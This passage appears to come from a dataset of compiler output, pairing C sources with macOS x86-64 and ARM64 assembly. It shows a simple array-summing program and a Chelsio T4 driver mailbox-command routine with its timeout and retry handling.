pxor %xmm0, %xmm0
xorl %esi, %esi
pxor %xmm1, %xmm1
jmp LBB0_8
LBB0_6:
andq $-4, %rdi
pxor %xmm0, %xmm0
xorl %esi, %esi
leaq _arr(%rip), %rcx
pxor %xmm1, %xmm1
.p2align 4, 0x90
LBB0_7: ## =>This Inner Loop Header: Depth=1
paddd (%rcx,%rsi,4), %xmm0
paddd 16(%rcx,%rsi,4), %xmm1
paddd 32(%rcx,%rsi,4), %xmm0
paddd 48(%rcx,%rsi,4), %xmm1
paddd 64(%rcx,%rsi,4), %xmm0
paddd 80(%rcx,%rsi,4), %xmm1
paddd 96(%rcx,%rsi,4), %xmm0
paddd 112(%rcx,%rsi,4), %xmm1
addq $32, %rsi
addq $-4, %rdi
jne LBB0_7
LBB0_8:
testq %rdx, %rdx
je LBB0_11
## %bb.9:
leaq _arr(%rip), %rcx
leaq (%rcx,%rsi,4), %rcx
addq $16, %rcx
shlq $5, %rdx
xorl %esi, %esi
.p2align 4, 0x90
LBB0_10: ## =>This Inner Loop Header: Depth=1
paddd -16(%rcx,%rsi), %xmm0
paddd (%rcx,%rsi), %xmm1
addq $32, %rsi
cmpq %rsi, %rdx
jne LBB0_10
LBB0_11:
paddd %xmm1, %xmm0
pshufd $238, %xmm0, %xmm1 ## xmm1 = xmm0[2,3,2,3]
paddd %xmm0, %xmm1
pshufd $85, %xmm1, %xmm0 ## xmm0 = xmm1[1,1,1,1]
paddd %xmm1, %xmm0
movd %xmm0, %esi
cmpq %rax, %r8
je LBB0_14
LBB0_12:
leaq _arr(%rip), %rcx
leaq (%rcx,%r8,4), %rcx
subq %r8, %rax
xorl %edx, %edx
.p2align 4, 0x90
LBB0_13: ## =>This Inner Loop Header: Depth=1
addl (%rcx,%rdx,4), %esi
incq %rdx
cmpq %rdx, %rax
jne LBB0_13
LBB0_14:
leaq L_.str(%rip), %rdi
xorl %eax, %eax
callq _printf
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _arraySum ## -- Begin function arraySum
.p2align 4, 0x90
_arraySum: ## @arraySum
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
testl %esi, %esi
jle LBB1_1
## %bb.2:
movl %esi, %ecx
cmpl $8, %esi
jae LBB1_4
## %bb.3:
xorl %edx, %edx
xorl %eax, %eax
jmp LBB1_12
LBB1_1:
xorl %eax, %eax
popq %rbp
retq
LBB1_4:
movl %ecx, %edx
andl $-8, %edx
leaq -8(%rdx), %rsi
movq %rsi, %rax
shrq $3, %rax
incq %rax
movl %eax, %r8d
andl $3, %r8d
cmpq $24, %rsi
jae LBB1_6
## %bb.5:
pxor %xmm0, %xmm0
xorl %esi, %esi
pxor %xmm1, %xmm1
jmp LBB1_8
LBB1_6:
andq $-4, %rax
pxor %xmm0, %xmm0
xorl %esi, %esi
pxor %xmm1, %xmm1
.p2align 4, 0x90
LBB1_7: ## =>This Inner Loop Header: Depth=1
movdqu (%rdi,%rsi,4), %xmm2
paddd %xmm0, %xmm2
movdqu 16(%rdi,%rsi,4), %xmm0
paddd %xmm1, %xmm0
movdqu 32(%rdi,%rsi,4), %xmm1
movdqu 48(%rdi,%rsi,4), %xmm3
movdqu 64(%rdi,%rsi,4), %xmm4
paddd %xmm1, %xmm4
paddd %xmm2, %xmm4
movdqu 80(%rdi,%rsi,4), %xmm2
paddd %xmm3, %xmm2
paddd %xmm0, %xmm2
movdqu 96(%rdi,%rsi,4), %xmm0
paddd %xmm4, %xmm0
movdqu 112(%rdi,%rsi,4), %xmm1
paddd %xmm2, %xmm1
addq $32, %rsi
addq $-4, %rax
jne LBB1_7
LBB1_8:
testq %r8, %r8
je LBB1_11
## %bb.9:
leaq (%rdi,%rsi,4), %rax
addq $16, %rax
shlq $5, %r8
xorl %esi, %esi
.p2align 4, 0x90
LBB1_10: ## =>This Inner Loop Header: Depth=1
movdqu -16(%rax,%rsi), %xmm2
paddd %xmm2, %xmm0
movdqu (%rax,%rsi), %xmm2
paddd %xmm2, %xmm1
addq $32, %rsi
cmpq %rsi, %r8
jne LBB1_10
LBB1_11:
paddd %xmm1, %xmm0
pshufd $238, %xmm0, %xmm1 ## xmm1 = xmm0[2,3,2,3]
paddd %xmm0, %xmm1
pshufd $85, %xmm1, %xmm0 ## xmm0 = xmm1[1,1,1,1]
paddd %xmm1, %xmm0
movd %xmm0, %eax
cmpq %rcx, %rdx
je LBB1_13
.p2align 4, 0x90
LBB1_12: ## =>This Inner Loop Header: Depth=1
addl (%rdi,%rdx,4), %eax
incq %rdx
cmpq %rdx, %rcx
jne LBB1_12
LBB1_13:
popq %rbp
retq
.cfi_endproc
## -- End function
.section __DATA,__data
.globl _arr ## @arr
.p2align 4
_arr:
.long 1 ## 0x1
.long 2 ## 0x2
.long 5 ## 0x5
.long 66 ## 0x42
.long 7 ## 0x7
.long 56 ## 0x38
.globl _num ## @num
.p2align 2
_num:
.long 6 ## 0x6
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
Lloh0:
adrp x8, _num@PAGE
Lloh1:
ldr w8, [x8, _num@PAGEOFF]
cmp w8, #1
b.lt LBB0_3
; %bb.1:
Lloh2:
adrp x9, _arr@PAGE
Lloh3:
add x9, x9, _arr@PAGEOFF
cmp w8, #16
b.hs LBB0_4
; %bb.2:
mov x10, #0
mov w11, #0
b LBB0_7
LBB0_3:
mov w11, #0
b LBB0_9
LBB0_4:
add x11, x9, #32
and x10, x8, #0xfffffff0
movi.2d v0, #0000000000000000
mov x12, x10
movi.2d v1, #0000000000000000
movi.2d v2, #0000000000000000
movi.2d v3, #0000000000000000
LBB0_5: ; =>This Inner Loop Header: Depth=1
ldp q4, q5, [x11, #-32]
ldp q6, q7, [x11], #64
add.4s v0, v4, v0
add.4s v1, v5, v1
add.4s v2, v6, v2
add.4s v3, v7, v3
subs x12, x12, #16
b.ne LBB0_5
; %bb.6:
add.4s v0, v1, v0
add.4s v0, v2, v0
add.4s v0, v3, v0
addv.4s s0, v0
fmov w11, s0
cmp x10, x8
b.eq LBB0_9
LBB0_7:
add x9, x9, x10, lsl #2
sub x8, x8, x10
LBB0_8: ; =>This Inner Loop Header: Depth=1
ldr w10, [x9], #4
add w11, w10, w11
subs x8, x8, #1
b.ne LBB0_8
LBB0_9:
str x11, [sp]
Lloh4:
adrp x0, l_.str@PAGE
Lloh5:
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.loh AdrpLdr Lloh0, Lloh1
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh4, Lloh5
.cfi_endproc
; -- End function
.globl _arraySum ; -- Begin function arraySum
.p2align 2
_arraySum: ; @arraySum
.cfi_startproc
; %bb.0:
cmp w1, #1
b.lt LBB1_3
; %bb.1:
mov w9, w1
cmp w1, #16
b.hs LBB1_4
; %bb.2:
mov x10, #0
mov w8, #0
b LBB1_7
LBB1_3:
mov w0, #0
ret
LBB1_4:
and x10, x9, #0xfffffff0
add x8, x0, #32
movi.2d v0, #0000000000000000
mov x11, x10
movi.2d v1, #0000000000000000
movi.2d v2, #0000000000000000
movi.2d v3, #0000000000000000
LBB1_5: ; =>This Inner Loop Header: Depth=1
ldp q4, q5, [x8, #-32]
ldp q6, q7, [x8], #64
add.4s v0, v4, v0
add.4s v1, v5, v1
add.4s v2, v6, v2
add.4s v3, v7, v3
subs x11, x11, #16
b.ne LBB1_5
; %bb.6:
add.4s v0, v1, v0
add.4s v0, v2, v0
add.4s v0, v3, v0
addv.4s s0, v0
fmov w8, s0
cmp x10, x9
b.eq LBB1_9
LBB1_7:
add x11, x0, x10, lsl #2
sub x9, x9, x10
LBB1_8: ; =>This Inner Loop Header: Depth=1
ldr w10, [x11], #4
add w8, w10, w8
subs x9, x9, #1
b.ne LBB1_8
LBB1_9:
mov x0, x8
ret
.cfi_endproc
; -- End function
.section __DATA,__data
.globl _arr ; @arr
.p2align 2
_arr:
.long 1 ; 0x1
.long 2 ; 0x2
.long 5 ; 0x5
.long 66 ; 0x42
.long 7 ; 0x7
.long 56 ; 0x38
.globl _num ; @num
.p2align 2
_num:
.long 6 ; 0x6
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
.subsections_via_symbols
| the_stack_data/104828063.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl _t4_wr_mbox_meat_timeout ## -- Begin function t4_wr_mbox_meat_timeout
.p2align 4, 0x90
_t4_wr_mbox_meat_timeout: ## @t4_wr_mbox_meat_timeout
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $104, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %r9d, -64(%rbp) ## 4-byte Spill
movq %r8, -128(%rbp) ## 8-byte Spill
movl %ecx, -76(%rbp) ## 4-byte Spill
movq %rdx, -112(%rbp) ## 8-byte Spill
movl %esi, %r14d
movq %rdi, %rbx
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -48(%rbp)
movq _A_CIM_PF_MAILBOX_DATA@GOTPCREL(%rip), %rax
movl (%rax), %esi
movl %r14d, %edi
callq _PF_REG
movl %eax, -56(%rbp) ## 4-byte Spill
movq _A_CIM_PF_MAILBOX_CTRL@GOTPCREL(%rip), %rax
movl (%rax), %esi
movl %r14d, -68(%rbp) ## 4-byte Spill
movl %r14d, %edi
callq _PF_REG
movl %eax, %r15d
movq _MBOX_LEN@GOTPCREL(%rip), %r13
movl (%r13), %r12d
leal 7(%r12), %r14d
testl %r12d, %r12d
cmovnsl %r12d, %r14d
sarl $3, %r14d
leaq (,%r14,4), %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq %rsp, -96(%rbp) ## 8-byte Spill
movq _MAX_NPORTS@GOTPCREL(%rip), %rax
movl (%rax), %eax
shlq $2, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq %rsp, -120(%rbp) ## 8-byte Spill
movq _CHK_MBOX_ACCESS@GOTPCREL(%rip), %rax
movl (%rax), %eax
testl %eax, (%rbx)
je LBB0_2
## %bb.1:
movq %rbx, %rdi
callq _ASSERT_SYNCHRONIZED_OP
movl (%r13), %r12d
LBB0_2:
movl -76(%rbp), %edx ## 4-byte Reload
testl %edx, %edx
setle %al
testb $15, %dl
setne %cl
testb %cl, %al
jne LBB0_4
## %bb.3:
cmpl %edx, %r12d
jl LBB0_4
## %bb.5:
movq %r14, -88(%rbp) ## 8-byte Spill
movl 16(%rbp), %r14d
movq _IS_VF@GOTPCREL(%rip), %rax
movl (%rax), %eax
testl %eax, (%rbx)
je LBB0_6
## %bb.7:
movq %rbx, %rdi
callq _is_t6
testq %rax, %rax
jne LBB0_8
## %bb.9:
movq _FW_T4VF_MBDATA_BASE_ADDR@GOTPCREL(%rip), %rax
jmp LBB0_10
LBB0_4:
movq _EINVAL@GOTPCREL(%rip), %rax
movl (%rax), %eax
jmp LBB0_49
LBB0_6:
movl %r15d, -60(%rbp) ## 4-byte Spill
jmp LBB0_11
LBB0_8:
movq _FW_T6VF_MBDATA_BASE_ADDR@GOTPCREL(%rip), %rax
LBB0_10:
movl (%rax), %eax
movl %eax, -56(%rbp) ## 4-byte Spill
movq _A_CIM_VF_EXT_MAILBOX_CTRL@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq _VF_CIM_REG
movl %eax, -60(%rbp) ## 4-byte Spill
LBB0_11:
movl %r14d, %eax
negl %eax
cmovsl %r14d, %eax
movl %eax, -100(%rbp) ## 4-byte Spill
movq _X_MBOWNER_NONE@GOTPCREL(%rip), %rax
movl -60(%rbp), %r14d ## 4-byte Reload
.p2align 4, 0x90
LBB0_12: ## =>This Inner Loop Header: Depth=1
movq %rbx, %rdi
movl %r14d, %esi
movq %rax, %r15
callq _t4_read_reg
movl %eax, %r12d
movl %eax, %edi
callq _G_MBOWNER
movl %eax, %r13d
movq %r15, %rax
cmpl (%r15), %r13d
je LBB0_12
## %bb.13:
movq _X_MBOWNER_PL@GOTPCREL(%rip), %rax
cmpl (%rax), %r13d
jne LBB0_14
## %bb.18:
movq _F_MBMSGVALID@GOTPCREL(%rip), %rax
testl %r12d, (%rax)
movl -68(%rbp), %r12d ## 4-byte Reload
je LBB0_20
## %bb.19:
leaq L_.str(%rip), %rcx
movq %rbx, %rdi
movl %r12d, %esi
movl -56(%rbp), %edx ## 4-byte Reload
xorl %r8d, %r8d
movl $1, %r9d
callq _CH_DUMP_MBOX
LBB0_20:
movq -88(%rbp), %rdx ## 8-byte Reload
shll $2, %edx
movq -96(%rbp), %r13 ## 8-byte Reload
movq %r13, %rdi
xorl %esi, %esi
## kill: def $edx killed $edx killed $rdx
callq _memset
movq %r13, %rdi
movq -112(%rbp), %rsi ## 8-byte Reload
movl -76(%rbp), %edx ## 4-byte Reload
callq _memcpy
leaq L_.str.1(%rip), %rcx
movq %rbx, %rdi
movl %r12d, %esi
xorl %edx, %edx
movq %r13, %r8
xorl %r9d, %r9d
callq _CH_DUMP_MBOX
movq %r13, %rdi
callq _ARRAY_SIZE
testl %eax, %eax
jle LBB0_23
## %bb.21:
xorl %r12d, %r12d
movl -56(%rbp), %r14d ## 4-byte Reload
.p2align 4, 0x90
LBB0_22: ## =>This Inner Loop Header: Depth=1
movl (%r13,%r12,4), %edi
callq _be64_to_cpu
movq %rbx, %rdi
movl %r14d, %esi
movl %eax, %edx
callq _t4_write_reg64
incq %r12
movq %r13, %rdi
callq _ARRAY_SIZE
cltq
addl $-8, %r14d
cmpq %rax, %r12
jl LBB0_22
LBB0_23:
movq _IS_VF@GOTPCREL(%rip), %rax
movl (%rax), %eax
testl %eax, (%rbx)
je LBB0_25
## %bb.24:
movq %rbx, %rdi
movl -56(%rbp), %esi ## 4-byte Reload
callq _t4_read_reg
LBB0_25:
movq _F_MBMSGVALID@GOTPCREL(%rip), %rax
movl (%rax), %r14d
movq _X_MBOWNER_FW@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq _V_MBOWNER
orl %eax, %r14d
movq %rbx, %rdi
movl -60(%rbp), %esi ## 4-byte Reload
movl %r14d, %edx
callq _t4_write_reg
movq %rbx, %rdi
movq -120(%rbp), %rsi ## 8-byte Reload
callq _read_tx_state
cmpl $0, 16(%rbp)
je LBB0_26
## %bb.27:
setle %al
cmpl $0, -64(%rbp) ## 4-byte Folded Reload
sete %cl
orb %al, %cl
movb %cl, -49(%rbp) ## 1-byte Spill
movl $1, -64(%rbp) ## 4-byte Folded Spill
movl $1000, -88(%rbp) ## 4-byte Folded Spill
## imm = 0x3E8
movl $0, -72(%rbp) ## 4-byte Folded Spill
movq _X_CIM_PF_NOACCESS@GOTPCREL(%rip), %r12
movl $0, -80(%rbp) ## 4-byte Folded Spill
xorl %r14d, %r14d
movq %rbx, -136(%rbp) ## 8-byte Spill
jmp LBB0_28
.p2align 4, 0x90
LBB0_39: ## in Loop: Header=BB0_28 Depth=1
addl -64(%rbp), %r14d ## 4-byte Folded Reload
cmpl -100(%rbp), %r14d ## 4-byte Folded Reload
movq -96(%rbp), %r13 ## 8-byte Reload
jge LBB0_40
LBB0_28: ## =>This Inner Loop Header: Depth=1
movq _IS_VF@GOTPCREL(%rip), %rax
movl (%rax), %eax
testl %eax, (%rbx)
jne LBB0_30
## %bb.29: ## in Loop: Header=BB0_28 Depth=1
movq _A_PCIE_FW@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq %rbx, %rdi
callq _t4_read_reg
movl %eax, -72(%rbp) ## 4-byte Spill
movq _F_PCIE_FW_ERR@GOTPCREL(%rip), %rcx
testl %eax, (%rcx)
jne LBB0_40
LBB0_30: ## in Loop: Header=BB0_28 Depth=1
cmpl -88(%rbp), %r14d ## 4-byte Folded Reload
jl LBB0_32
## %bb.31: ## in Loop: Header=BB0_28 Depth=1
movq %rbx, %rdi
movq -120(%rbp), %rsi ## 8-byte Reload
callq _check_tx_state
leal 1000(%r14), %eax
movl %eax, -88(%rbp) ## 4-byte Spill
LBB0_32: ## in Loop: Header=BB0_28 Depth=1
cmpb $0, -49(%rbp) ## 1-byte Folded Reload
je LBB0_33
## %bb.34: ## in Loop: Header=BB0_28 Depth=1
movl -64(%rbp), %edi ## 4-byte Reload
callq _mdelay
jmp LBB0_35
.p2align 4, 0x90
LBB0_33: ## in Loop: Header=BB0_28 Depth=1
movslq -80(%rbp), %r13 ## 4-byte Folded Reload
movq %r12, %rbx
leaq _t4_wr_mbox_meat_timeout.delay(%rip), %rdi
movl (%rdi,%r13,4), %r12d
callq _ARRAY_SIZE
decl %eax
xorl %ecx, %ecx
cmpl %eax, %r13d
setl %cl
addl %r13d, %ecx
movl %ecx, -80(%rbp) ## 4-byte Spill
movl %r12d, -64(%rbp) ## 4-byte Spill
movl %r12d, %edi
movq %rbx, %r12
movq -136(%rbp), %rbx ## 8-byte Reload
callq _msleep
LBB0_35: ## in Loop: Header=BB0_28 Depth=1
movq %rbx, %rdi
movl -60(%rbp), %esi ## 4-byte Reload
callq _t4_read_reg
cmpl (%r12), %eax
je LBB0_39
## %bb.36: ## in Loop: Header=BB0_28 Depth=1
movl %eax, %r13d
movl %eax, %edi
callq _G_MBOWNER
movq _X_MBOWNER_PL@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jne LBB0_39
## %bb.37: ## in Loop: Header=BB0_28 Depth=1
movq _F_MBMSGVALID@GOTPCREL(%rip), %rax
testl %r13d, (%rax)
jne LBB0_42
## %bb.38: ## in Loop: Header=BB0_28 Depth=1
movl (%r15), %edi
callq _V_MBOWNER
movq %rbx, %rdi
movl -60(%rbp), %esi ## 4-byte Reload
movl %eax, %edx
callq _t4_write_reg
jmp LBB0_39
LBB0_14:
movq %rbx, %rdi
callq _t4_report_fw_error
movq _X_MBOWNER_FW@GOTPCREL(%rip), %rax
cmpl (%rax), %r13d
jne LBB0_15
## %bb.16:
movq _EBUSY@GOTPCREL(%rip), %rax
movl (%rax), %eax
jmp LBB0_49
LBB0_15:
movq _ETIMEDOUT@GOTPCREL(%rip), %rax
movl (%rax), %eax
jmp LBB0_49
LBB0_26:
movl $0, -72(%rbp) ## 4-byte Folded Spill
LBB0_40:
movq -112(%rbp), %rax ## 8-byte Reload
movl (%rax), %edx
leaq L_.str.3(%rip), %rsi
movq %rbx, %rdi
movl -68(%rbp), %r14d ## 4-byte Reload
movl %r14d, %ecx
movl -72(%rbp), %r15d ## 4-byte Reload
movl %r15d, %r8d
callq _CH_ERR
leaq L_.str.4(%rip), %rcx
movq %rbx, %rdi
movl %r14d, %esi
xorl %edx, %edx
movq %r13, %r8
movl $1, %r9d
callq _CH_DUMP_MBOX
leaq L_.str.5(%rip), %rcx
movq %rbx, %rdi
movl %r14d, %esi
movl -56(%rbp), %edx ## 4-byte Reload
xorl %r8d, %r8d
movl $1, %r9d
callq _CH_DUMP_MBOX
movq _F_PCIE_FW_ERR@GOTPCREL(%rip), %rax
testl %r15d, (%rax)
je LBB0_47
## %bb.41:
movq _ENXIO@GOTPCREL(%rip), %rax
movl (%rax), %r14d
movq %rbx, %rdi
callq _t4_report_fw_error
jmp LBB0_48
LBB0_47:
movq _ETIMEDOUT@GOTPCREL(%rip), %rax
movl (%rax), %r14d
movq %rbx, %rdi
callq _t4_os_dump_devlog
LBB0_48:
movq %rbx, %rdi
movl $1, %esi
callq _t4_fatal_err
movl %r14d, %eax
LBB0_49:
movq ___stack_chk_guard@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
cmpq -48(%rbp), %rcx
jne LBB0_51
## %bb.50:
negl %eax
leaq -40(%rbp), %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_42:
movq _MBOX_LEN@GOTPCREL(%rip), %rax
movl (%rax), %eax
leal 7(%rax), %edx
testl %eax, %eax
cmovnsl %eax, %edx
sarl $3, %edx
movq %rbx, %rdi
movq -96(%rbp), %r12 ## 8-byte Reload
movq %r12, %rsi
movl -56(%rbp), %ecx ## 4-byte Reload
callq _get_mbox_rpl
leaq L_.str.2(%rip), %rcx
movq %rbx, %rdi
movl -68(%rbp), %esi ## 4-byte Reload
xorl %edx, %edx
movq %r12, %r8
xorl %r9d, %r9d
callq _CH_DUMP_MBOX
movl (%r15), %edi
callq _V_MBOWNER
movq %rbx, %rdi
movl -60(%rbp), %esi ## 4-byte Reload
movl %eax, %edx
callq _t4_write_reg
movl (%r12), %edi
callq _be64_to_cpu
movl %eax, %r14d
callq _G_FW_CMD_OP
movq _FW_DEBUG_CMD@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jne LBB0_44
## %bb.43:
movq %rbx, %rdi
movq %r12, %rsi
callq _fw_asrt
movq _EIO@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq _V_FW_CMD_RETVAL
movl %eax, %r14d
jmp LBB0_46
LBB0_44:
movq -128(%rbp), %rdi ## 8-byte Reload
testq %rdi, %rdi
je LBB0_46
## %bb.45:
movq %r12, %rsi
movl -76(%rbp), %edx ## 4-byte Reload
callq _memcpy
LBB0_46:
movl %r14d, %edi
callq _G_FW_CMD_RETVAL
jmp LBB0_49
LBB0_51:
callq ___stack_chk_fail
.cfi_endproc
## -- End function
.section __TEXT,__const
.p2align 4, 0x0 ## @t4_wr_mbox_meat_timeout.delay
_t4_wr_mbox_meat_timeout.delay:
.long 1 ## 0x1
.long 1 ## 0x1
.long 3 ## 0x3
.long 5 ## 0x5
.long 10 ## 0xa
.long 10 ## 0xa
.long 20 ## 0x14
.long 50 ## 0x32
.long 100 ## 0x64
.comm _A_CIM_PF_MAILBOX_DATA,4,2 ## @A_CIM_PF_MAILBOX_DATA
.comm _A_CIM_PF_MAILBOX_CTRL,4,2 ## @A_CIM_PF_MAILBOX_CTRL
.comm _MBOX_LEN,4,2 ## @MBOX_LEN
.comm _MAX_NPORTS,4,2 ## @MAX_NPORTS
.comm _CHK_MBOX_ACCESS,4,2 ## @CHK_MBOX_ACCESS
.comm _EINVAL,4,2 ## @EINVAL
.comm _IS_VF,4,2 ## @IS_VF
.comm _FW_T6VF_MBDATA_BASE_ADDR,4,2 ## @FW_T6VF_MBDATA_BASE_ADDR
.comm _FW_T4VF_MBDATA_BASE_ADDR,4,2 ## @FW_T4VF_MBDATA_BASE_ADDR
.comm _A_CIM_VF_EXT_MAILBOX_CTRL,4,2 ## @A_CIM_VF_EXT_MAILBOX_CTRL
.comm _X_MBOWNER_NONE,4,2 ## @X_MBOWNER_NONE
.comm _X_MBOWNER_PL,4,2 ## @X_MBOWNER_PL
.comm _X_MBOWNER_FW,4,2 ## @X_MBOWNER_FW
.comm _EBUSY,4,2 ## @EBUSY
.comm _ETIMEDOUT,4,2 ## @ETIMEDOUT
.comm _F_MBMSGVALID,4,2 ## @F_MBMSGVALID
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "VLD"
L_.str.1: ## @.str.1
.asciz "cmd"
.comm _A_PCIE_FW,4,2 ## @A_PCIE_FW
.comm _F_PCIE_FW_ERR,4,2 ## @F_PCIE_FW_ERR
.comm _X_CIM_PF_NOACCESS,4,2 ## @X_CIM_PF_NOACCESS
L_.str.2: ## @.str.2
.asciz "rpl"
.comm _FW_DEBUG_CMD,8,3 ## @FW_DEBUG_CMD
.comm _EIO,4,2 ## @EIO
L_.str.3: ## @.str.3
.asciz "command %#x in mbox %d timed out (0x%08x).\n"
L_.str.4: ## @.str.4
.asciz "cmdsent"
L_.str.5: ## @.str.5
.asciz "current"
.comm _ENXIO,4,2 ## @ENXIO
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl _t4_wr_mbox_meat_timeout ; -- Begin function t4_wr_mbox_meat_timeout
.p2align 2
_t4_wr_mbox_meat_timeout: ; @t4_wr_mbox_meat_timeout
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill
stp x26, x25, [sp, #16] ; 16-byte Folded Spill
stp x24, x23, [sp, #32] ; 16-byte Folded Spill
stp x22, x21, [sp, #48] ; 16-byte Folded Spill
stp x20, x19, [sp, #64] ; 16-byte Folded Spill
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
sub sp, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x24, x6
stur w5, [x29, #-96] ; 4-byte Folded Spill
mov x28, x4
mov x27, x3
stur x2, [x29, #-112] ; 8-byte Folded Spill
mov x20, x1
mov x19, x0
Lloh0:
adrp x8, ___stack_chk_guard@GOTPAGE
Lloh1:
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
stur x8, [x29, #-88]
Lloh3:
adrp x8, _A_CIM_PF_MAILBOX_DATA@GOTPAGE
Lloh4:
ldr x8, [x8, _A_CIM_PF_MAILBOX_DATA@GOTPAGEOFF]
Lloh5:
ldr w1, [x8]
mov x0, x20
bl _PF_REG
mov x25, x0
Lloh6:
adrp x8, _A_CIM_PF_MAILBOX_CTRL@GOTPAGE
Lloh7:
ldr x8, [x8, _A_CIM_PF_MAILBOX_CTRL@GOTPAGEOFF]
Lloh8:
ldr w1, [x8]
mov x0, x20
bl _PF_REG
mov x26, x0
Lloh9:
adrp x21, _MBOX_LEN@GOTPAGE
Lloh10:
ldr x21, [x21, _MBOX_LEN@GOTPAGEOFF]
ldr w12, [x21]
add w8, w12, #7
cmp w12, #0
csel w8, w8, w12, lt
asr w23, w8, #3
ubfiz x9, x23, #2, #32
add x8, x9, #15
and x8, x8, #0x7fffffff0
Lloh11:
adrp x16, ___chkstk_darwin@GOTPAGE
Lloh12:
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
mov x9, sp
sub x22, x9, x8
mov sp, x22
Lloh13:
adrp x8, _MAX_NPORTS@GOTPAGE
Lloh14:
ldr x8, [x8, _MAX_NPORTS@GOTPAGEOFF]
Lloh15:
ldr w8, [x8]
lsl x8, x8, #2
mov x9, x8
Lloh16:
adrp x16, ___chkstk_darwin@GOTPAGE
Lloh17:
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
mov x9, sp
add x8, x8, #15
and x8, x8, #0x7fffffff0
sub x8, x9, x8
stur x8, [x29, #-104] ; 8-byte Folded Spill
mov sp, x8
ldr w8, [x19]
Lloh18:
adrp x9, _CHK_MBOX_ACCESS@GOTPAGE
Lloh19:
ldr x9, [x9, _CHK_MBOX_ACCESS@GOTPAGEOFF]
Lloh20:
ldr w9, [x9]
tst w9, w8
b.eq LBB0_2
; %bb.1:
mov x0, x19
bl _ASSERT_SYNCHRONIZED_OP
ldr w12, [x21]
LBB0_2:
tst w27, #0xf
ccmp w27, #1, #0, ne
b.lt LBB0_6
; %bb.3:
cmp w12, w27
b.lt LBB0_6
; %bb.4:
ldr w8, [x19]
Lloh21:
adrp x9, _IS_VF@GOTPAGE
Lloh22:
ldr x9, [x9, _IS_VF@GOTPAGEOFF]
Lloh23:
ldr w9, [x9]
tst w9, w8
stur w20, [x29, #-120] ; 4-byte Folded Spill
b.eq LBB0_7
; %bb.5:
mov x0, x19
bl _is_t6
Lloh24:
adrp x8, _FW_T4VF_MBDATA_BASE_ADDR@GOTPAGE
Lloh25:
ldr x8, [x8, _FW_T4VF_MBDATA_BASE_ADDR@GOTPAGEOFF]
Lloh26:
adrp x9, _FW_T6VF_MBDATA_BASE_ADDR@GOTPAGE
Lloh27:
ldr x9, [x9, _FW_T6VF_MBDATA_BASE_ADDR@GOTPAGEOFF]
cmp x0, #0
csel x8, x8, x9, eq
ldr w8, [x8]
stur w8, [x29, #-116] ; 4-byte Folded Spill
Lloh28:
adrp x8, _A_CIM_VF_EXT_MAILBOX_CTRL@GOTPAGE
Lloh29:
ldr x8, [x8, _A_CIM_VF_EXT_MAILBOX_CTRL@GOTPAGEOFF]
Lloh30:
ldr w0, [x8]
bl _VF_CIM_REG
mov x26, x0
b LBB0_8
LBB0_6:
Lloh31:
adrp x8, _EINVAL@GOTPAGE
Lloh32:
ldr x8, [x8, _EINVAL@GOTPAGEOFF]
Lloh33:
ldr w20, [x8]
b LBB0_38
LBB0_7:
stur w25, [x29, #-116] ; 4-byte Folded Spill
LBB0_8:
cmp w24, #0
cneg w8, w24, mi
stur w8, [x29, #-92] ; 4-byte Folded Spill
Lloh34:
adrp x20, _X_MBOWNER_NONE@GOTPAGE
Lloh35:
ldr x20, [x20, _X_MBOWNER_NONE@GOTPAGEOFF]
LBB0_9: ; =>This Inner Loop Header: Depth=1
mov x0, x19
